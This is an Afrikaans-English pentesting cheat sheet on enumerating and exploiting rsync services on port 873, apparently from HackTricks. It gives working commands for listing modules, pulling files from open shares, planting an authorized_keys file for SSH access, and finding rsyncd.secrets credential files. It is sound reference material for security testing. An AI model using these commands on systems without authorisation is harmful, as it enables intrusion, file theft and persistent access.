4.3 KiB
873 - Pentesting Rsync
{{#include ../banners/hacktricks-training.md}}
Basiese Inligting
From wikipedia:
rsync is 'n nut vir doeltreffende transferring en synchronizing files tussen 'n rekenaar en 'n eksterne hardeskyf en oor networked computers deur die modification times en groottes van lêers te vergelyk.[3] Dit word algemeen op Unix-like operating systems aangetref. Die rsync-algoritme is 'n tipe van delta encoding, en word gebruik om netwerkgebruik te minimaliseer. Zlib kan gebruik word vir addisionele data compression,[3] en SSH of stunnel kan gebruik word vir sekuriteit.
Standaard poort: 873
PORT STATE SERVICE REASON
873/tcp open rsync syn-ack
Opname
Banier & Handmatige kommunikasie
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0 <--- You receive this banner with the version from the server
@RSYNCD: 31.0 <--- Then you send the same info
#list <--- Then you ask the sever to list
raidroot <--- The server starts enumerating
USBCopy
NAS_Public
_NAS_Recycle_TOSRAID <--- Enumeration finished
@RSYNCD: EXIT <--- Sever closes the connection
#Now lets try to enumerate "raidroot"
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g <--- This means you need the password
Opname van Gedeelde Mappe
Rsync modules word erken as gedeelde gidse wat moontlik met wagwoorde beskerm word. Om beskikbare modules te identifiseer en te kyk of hulle wagwoorde benodig, word die volgende opdragte gebruik:
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list
# Example with IPv6 and alternate port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
Wees bewus dat sommige gedeeltes dalk nie in die lys verskyn nie, wat hulle moontlik verberg. Boonop kan toegang tot sommige gedeeltes beperk wees tot spesifieke akkrediteer wat aangedui word deur 'n "Toegang Weier" boodskap.
Brute Force
Handmatige Rsync Gebruik
Na die verkryging van 'n module lys, hang aksies af van of verifikasie nodig is. Sonder verifikasie kan lys en kopieer van lêers van 'n gedeelde gids na 'n plaaslike gids bereik word deur:
# Listing a shared folder
rsync -av --list-only rsync://192.168.0.123/shared_name
# Copying files from a shared folder
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
Hierdie proses herhalend oordra lêers, terwyl hulle se attributes en toestemmings behou word.
Met akkrediteerbare inligting, kan lys en aflaai van 'n gedeelde gids soos volg gedoen word, waar 'n wagwoordprompt sal verskyn:
rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
Om inhoud op te laai, soos 'n authorized_keys lêer vir toegang, gebruik:
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh
POST
Om die rsyncd konfigurasie lêer te vind, voer uit:
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
Binne hierdie lêer kan 'n secrets file parameter na 'n lêer verwys wat gebruikersname en wagwoorde vir rsyncd outentisering bevat.
Verwysings
{{#include ../banners/hacktricks-training.md}}